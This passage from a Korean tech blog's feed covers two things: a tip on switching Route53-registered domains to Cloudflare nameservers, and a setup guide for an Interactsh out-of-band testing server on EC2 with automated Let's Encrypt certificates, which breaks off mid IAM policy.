&lt;p data-end=&quot;496&quot; data-start=&quot;269&quot; data-ke-size=&quot;size16&quot;&gt;수백 개의 글로벌 데이터 센터를 통해 사용자의 콘텐츠를 가장 가까운 노드에서 제공함으로써, 웹사이트 로딩 속도를 비약적으로 향상시킬 수 있으며, 동시에 &lt;b&gt;L3~L7 계층의 트래픽에 대한 보호 기능&lt;/b&gt;을 제공한다. 특히 무료 플랜에서도 SSL/TLS 인증서 자동 적용, 봇 차단, 기본적인 웹 방화벽(WAF), DDoS 완화 기능을 제공해, &lt;b&gt;중소 규모 서비스 운영자에게도 높은 가성비&lt;/b&gt;를 제공한다.&lt;/p&gt;
&lt;p data-end=&quot;1592&quot; data-start=&quot;1447&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-end=&quot;1592&quot; data-start=&quot;1447&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;도메인 등록&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;571&quot; data-start=&quot;537&quot; data-ke-size=&quot;size16&quot;&gt;Cloudflare를 사용하는 과정은 다음과 같이 수행한다:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-end=&quot;933&quot; data-start=&quot;573&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-end=&quot;660&quot; data-start=&quot;573&quot;&gt;&lt;a href=&quot;https://www.cloudflare.com&quot;&gt;https://www.cloudflare.com&lt;/a&gt; 에 접속하여 &lt;b&gt;회원가입 후 로그인&lt;/b&gt;합니다.&lt;/li&gt;
&lt;li data-end=&quot;739&quot; data-start=&quot;661&quot;&gt;로그인 후, &lt;b&gt;&quot;사이트 추가(Add a Site)&quot;&lt;/b&gt; 메뉴를 통해 자신의 도메인 이름(예: example.com)을 입력합니다.&lt;/li&gt;
&lt;li data-end=&quot;812&quot; data-start=&quot;740&quot;&gt;Cloudflare가 자동으로 현재 도메인의 DNS 레코드를 가져오며, 이를 검토하고 필요한 레코드를 수정하거나 추가합니다.&lt;/li&gt;
&lt;li data-end=&quot;870&quot; data-start=&quot;813&quot;&gt;요금제를 선택합니다. 대부분의 경우 &lt;b&gt;무료(Free) 플랜&lt;/b&gt;으로도 충분히 시작할 수 있습니다.&lt;/li&gt;
&lt;li data-end=&quot;933&quot; data-start=&quot;871&quot;&gt;&lt;b&gt;Cloudflare에서 안내하는 NS(Name Server) 값으로 도메인의 네임서버를 변경&lt;/b&gt;합니다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Route53에서 NS 레코드 설정시 주의사항&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2654&quot; data-origin-height=&quot;1794&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UXaji/btsPtyZPu8k/tUmn95dihlLP7fgEx389T0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UXaji/btsPtyZPu8k/tUmn95dihlLP7fgEx389T0/img.png&quot; data-alt=&quot;NS 레코드 변경 필요 안내 화면&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UXaji/btsPtyZPu8k/tUmn95dihlLP7fgEx389T0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUXaji%2FbtsPtyZPu8k%2FtUmn95dihlLP7fgEx389T0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2654&quot; height=&quot;1794&quot; data-origin-width=&quot;2654&quot; data-origin-height=&quot;1794&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;NS 레코드 변경 필요 안내 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1105&quot; data-start=&quot;980&quot; data-ke-size=&quot;size16&quot;&gt;AWS Route 53에서 도메인을 구입했거나 Route 53에 등록된 도메인을 사용하는 경우, &lt;b&gt;Cloudflare로 DNS를 이전하려면 반드시 NS 레코드 변경이 필요하&lt;/b&gt;다.&lt;br /&gt;이때 실수하기 쉬운 부분이 있는데 여기서 며칠 삽질했다:&lt;/p&gt;
&lt;p data-end=&quot;1105&quot; data-start=&quot;980&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 필자는 AWS Route53에서 도메인을 구매하고, 호스팅 존을 운영하고 있었기 때문에 호스팅 존의 설정에서 NS 레코드를 변경하는 방법으로 적용을 하려고 했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2668&quot; data-origin-height=&quot;912&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tHEit/btsProLmkfb/tz1uY7w9NbApqwd6nkVttK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tHEit/btsProLmkfb/tz1uY7w9NbApqwd6nkVttK/img.png&quot; data-alt=&quot;잘못된 NS 레코드 변경&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tHEit/btsProLmkfb/tz1uY7w9NbApqwd6nkVttK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtHEit%2FbtsProLmkfb%2Ftz1uY7w9NbApqwd6nkVttK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2668&quot; height=&quot;912&quot; data-origin-width=&quot;2668&quot; data-origin-height=&quot;912&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;잘못된 NS 레코드 변경&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-end=&quot;1105&quot; data-start=&quot;980&quot; data-ke-size=&quot;size16&quot;&gt;그런데 이 작업은 실제 네임서버에는 영향을 미치지 않는 설정이었고, 이러한 설정이 된 상태에서 네임서버의 설정이 되는데에 시간이 걸리는 것으로 판단. 이틀 정도를 날렸다.&lt;/p&gt;
&lt;p data-end=&quot;1105&quot; data-start=&quot;980&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1295&quot; data-start=&quot;1107&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1182&quot; data-start=&quot;1107&quot;&gt;NS 레코드를 변경할 때, &lt;b&gt;Route 53의 '호스팅 존(Hosted Zone)' 내의 NS 레코드를 수정해서는 안된다.&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;1295&quot; data-start=&quot;1183&quot;&gt;반드시 &lt;b&gt;Route 53의 &quot;도메인(Registered domains)&quot; 메뉴로 이동한 뒤, 네임서버(Name Server) 설정을 변경&lt;/b&gt;해야 Cloudflare DNS가 정상적으로 적용된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2797&quot; data-origin-height=&quot;949&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cKGzzZ/btsPrsf8TJz/uvWlWF2kGMUx73Hm0ykHn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cKGzzZ/btsPrsf8TJz/uvWlWF2kGMUx73Hm0ykHn1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cKGzzZ/btsPrsf8TJz/uvWlWF2kGMUx73Hm0ykHn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcKGzzZ%2FbtsPrsf8TJz%2FuvWlWF2kGMUx73Hm0ykHn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2797&quot; height=&quot;949&quot; data-origin-width=&quot;2797&quot; data-origin-height=&quot;949&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1228&quot; data-origin-height=&quot;627&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oH8gH/btsPsoc0qKa/YC1GKHsRgUCfUR30xcCKQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oH8gH/btsPsoc0qKa/YC1GKHsRgUCfUR30xcCKQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oH8gH/btsPsoc0qKa/YC1GKHsRgUCfUR30xcCKQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoH8gH%2FbtsPsoc0qKa%2FYC1GKHsRgUCfUR30xcCKQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;537&quot; height=&quot;274&quot; data-origin-width=&quot;1228&quot; data-origin-height=&quot;627&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-end=&quot;1448&quot; data-start=&quot;1297&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;1448&quot; data-start=&quot;1297&quot; data-ke-size=&quot;size16&quot;&gt;이는 &lt;b&gt;Route 53에서 Hosted Zone의 NS 레코드는 단순한 정보 표시용이며, 실제 DNS 위임에는 아무 영향도 미치지 않기 때문이&lt;/b&gt;다. 이 부분을 놓치면 Cloudflare 측에서는 네임서버 변경이 확인되지 않아 도메인 보호 기능이 활성화되지 않는다.&lt;/p&gt;
&lt;p data-end=&quot;1448&quot; data-start=&quot;1297&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2656&quot; data-origin-height=&quot;1463&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSslZs/btsPs63MWYe/sDm2BEjs2oDTSuRNiytaHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSslZs/btsPs63MWYe/sDm2BEjs2oDTSuRNiytaHk/img.png&quot; data-alt=&quot;설정 완료 대시보드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSslZs/btsPs63MWYe/sDm2BEjs2oDTSuRNiytaHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSslZs%2FbtsPs63MWYe%2FsDm2BEjs2oDTSuRNiytaHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2656&quot; height=&quot;1463&quot; data-origin-width=&quot;2656&quot; data-origin-height=&quot;1463&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;설정 완료 대시보드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Security/Cloud Computing</category>
      <category>Cloudflare</category>
      <category>route53</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/295</guid>
      <comments>https://gomguk.tistory.com/295#entry295comment</comments>
      <pubDate>Thu, 31 Jul 2025 01:53:52 +0900</pubDate>
    </item>
    <item>
      <title>AWS EC2+Interactsh+Route53 기반 도메인 인증서 자동 발급 및 갱신 아키텍처 구축</title>
      <link>https://gomguk.tistory.com/294</link>
      <description>&lt;p data-pm-slice=&quot;1 1 []&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;클라우드 기반 보안 테스트를 위한 OOB(Out-of-Band) 트래픽 수집 환경을 구축하기 위해, projectdiscovery/interactsh를 EC2에서 운영하며, 소유하고 있는 도메인에 대한 HTTPS 인증서를 자동으로 발급 및 갱신하는 구조를 구성했습니다. 이 문서는 아카이빙 및 다른 도메인/서버 구성 시 재활용할 수 있도록, 구축 과정을 트러블슈팅 포함하여 정리합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-pm-slice=&quot;1 1 []&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-pm-slice=&quot;1 1 []&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. Interactsh란?&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;p data-pm-slice=&quot;1 1 []&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;보안 테스트에서 OOB 트래픽 분석은 다양한 공격 벡터(예: Blind SSRF, RCE, XXE 등)의 성공 여부를 감지하는 핵심 기법이다. 그러나 상용 플랫폼(예: Burp Collaborator) 의존 없이 DNS, HTTP 요청을 &lt;b&gt;직접 수집하고 통제 가능한 환경을 구성&lt;/b&gt;하려면 독립적인 도메인과 서버 구축이 필요하다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이 프로젝트에서는 OOB 테스팅을 위한 도메인을 직접 구매하고, AWS 기반 EC2에서 서버를 구성하여 &lt;b&gt;내부적으로 DNS 로그를 추적하고 TLS 통신까지 제어할 수 있는 테스트 인프라&lt;/b&gt;를 확보하였다. 이를 통해 기업 내 보안 진단 또는 연구 목적으로 외부 요청에 대한 상세한 가시성과 분석이 가능해진다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Interactsh는 ProjectDiscovery에서 개발한 &lt;b&gt;Out-of-Band (OOB) 인터랙션 수집 도구다&lt;/b&gt;. 보안 진단 중 DNS, HTTP, SMTP 등 다양한 프로토콜을 이용한 외부 요청 발생 여부를 탐지하고 수집하는 데 유용하다. 주로 다음과 같은 목적에 활용된다:&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-spread=&quot;false&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;SSRF, RCE, XXE, Blind XSS 등의 탐지&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Red Team이나 Bug Bounty 활동에서 OOB 기반 Payload 수집&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;클라이언트와 서버 사이의 외부 요청 트래픽 분석&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Interactsh는 Server(수집기)와 Client(로그 확인/등록기)를 함께 제공하며, Web UI를 통해 시각화도 지원한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style3&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. 아키텍처 구성 환경/목표&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-pm-slice=&quot;3 3 []&quot; data-spread=&quot;false&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;EC2 기반 Interactsh 서버 실행 (DNS/HTTP 리스닝)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Let's Encrypt 인증서 자동 발급/갱신 (Route53 DNS 사용)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;도메인은 다른 AWS 계정 A에 있음, EC2는 B 계정에서 운영&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;인증서 경로를 interactsh에 연결 후 TLS 통신 지원&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. 전제 조건 및 사전 준비&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-pm-slice=&quot;1 1 []&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3.1. 도메인&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-spread=&quot;false&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;도메인: 인증서를 등록하고,&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Route53 호스팅 영역: &lt;b&gt;A 계정에서 운영&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;3.2. EC2&lt;/span&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-spread=&quot;false&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;EC2는 &lt;b&gt;B 계정에서 실행&lt;/b&gt;, Amazon Linux 2023 사용&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;root 계정 기준으로 certbot 실행 및 AWS 인증 필요&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4. 초기 설정: 인증서 발급 스크립트(pemkeygen.sh)&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1751199023044&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/bash
set -e

export AWS_ACCESS_KEY_ID=AKIAXXXXXXXXXXXXXXXXXX
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_REGION=ap-northeast-2

# 1. certbot + 플러그인 설치
sudo yum install -y certbot python3-certbot-dns-route53

# 2. 인증서 저장 경로 지정
CERT_DIR=&quot;/etc/letsencrypt/live/{도메인명}&quot;
CERT_PATH=&quot;${CERT_DIR}/fullchain.pem&quot;
KEY_PATH=&quot;${CERT_DIR}/privkey.pem&quot;

# 3. 인증서 발급
sudo certbot certonly \
  --dns-route53 \
  --non-interactive \
  --agree-tos \
  --email example@domain.com \
  -d &quot;{사용할 도메인 입력}&quot; \
  --preferred-challenges dns \
  --server https://acme-v02.api.letsencrypt.org/directory

# 4. Interactsh용 인증서 링크 생성
mkdir -p /opt/interactsh/certs
ln -sf &quot;${CERT_PATH}&quot; /opt/interactsh/certs/cert.pem
ln -sf &quot;${KEY_PATH}&quot; /opt/interactsh/certs/privkey.pem&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;트러블슈팅1. AWS 인증정보를 찾을 수 없음&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; text-align: left; font-family: 'Nanum Gothic';&quot;&gt;EC2 환경에서 쉘 스크립트를 실행하면 `certbot`에서 AWS Credential을 찾지 못하는 문제가 있었다. 공식 홈페이지에 따르면 다음의 순서대로 인증정보를 찾는다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; text-align: left; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;* Using the AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY environment variables.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; text-align: left; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;* Using a credentials configuration file at the default location, ~/.aws/credentials. If you&amp;rsquo;re running on sudo, the credentials will be picked up from the root home.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #000000; text-align: left; font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;* Using a credentials configuration file at a path supplied using the AWS_CONFIG_FILE environment variable.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1124&quot; data-origin-height=&quot;78&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/z5bQA/btsOWeCb9d0/bgZ78Z9EaQ9ppMwFqf8jFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/z5bQA/btsOWeCb9d0/bgZ78Z9EaQ9ppMwFqf8jFK/img.png&quot; data-alt=&quot;Unable to locate credentials&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/z5bQA/btsOWeCb9d0/bgZ78Z9EaQ9ppMwFqf8jFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fz5bQA%2FbtsOWeCb9d0%2FbgZ78Z9EaQ9ppMwFqf8jFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1124&quot; height=&quot;78&quot; data-origin-width=&quot;1124&quot; data-origin-height=&quot;78&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Unable to locate credentials&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #666666; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #666666; text-align: left;&quot; data-pm-slice=&quot;1 1 [&amp;quot;list&amp;quot;,{&amp;quot;spread&amp;quot;:false,&amp;quot;start&amp;quot;:2698,&amp;quot;end&amp;quot;:2772},&amp;quot;regular_list_item&amp;quot;,{&amp;quot;start&amp;quot;:2698,&amp;quot;end&amp;quot;:2772}]&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;certbot는 root 계정 기준으로 동작하므로,&amp;nbsp;root의 홈경로(/root)에 인증정보를 위치시키는 방법으로 해결했다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1751199931646&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cat &amp;lt;&amp;lt;EOF &amp;gt; /root/.aws/credentials
[default]
aws_access_key_id = AKIAXXXXXXXXXXXXXXXXXXX
aws_secret_access_key = XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
EOF&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #666666; text-align: left;&quot; data-pm-slice=&quot;1 1 [&amp;quot;list&amp;quot;,{&amp;quot;spread&amp;quot;:false,&amp;quot;start&amp;quot;:2698,&amp;quot;end&amp;quot;:2772},&amp;quot;regular_list_item&amp;quot;,{&amp;quot;start&amp;quot;:2698,&amp;quot;end&amp;quot;:2772}]&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-family: 'Nanum Gothic'; color: #000000;&quot;&gt;참조:&amp;nbsp;&lt;a style=&quot;color: #000000;&quot; href=&quot;https://certbot-dns-route53.readthedocs.io/en/stable/index.html#config-ini&quot;&gt;https://certbot-dns-route53.readthedocs.io/en/stable/index.html#config-ini&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;트러블슈팅 2. AWS 권한 문제&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1125&quot; data-origin-height=&quot;229&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VyI01/btsOVKA0Se1/zLMuByKEgH51uV8oVuSD6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VyI01/btsOVKA0Se1/zLMuByKEgH51uV8oVuSD6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VyI01/btsOVKA0Se1/zLMuByKEgH51uV8oVuSD6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVyI01%2FbtsOVKA0Se1%2FzLMuByKEgH51uV8oVuSD6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1125&quot; height=&quot;229&quot; data-origin-width=&quot;1125&quot; data-origin-height=&quot;229&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;인증정보는 올바르게 읽었지만 사용자에게 부여된 권한이 없어, 에러가 발생했다. 다음 권한을 올바르게 부여한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1751199852238&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [
    {
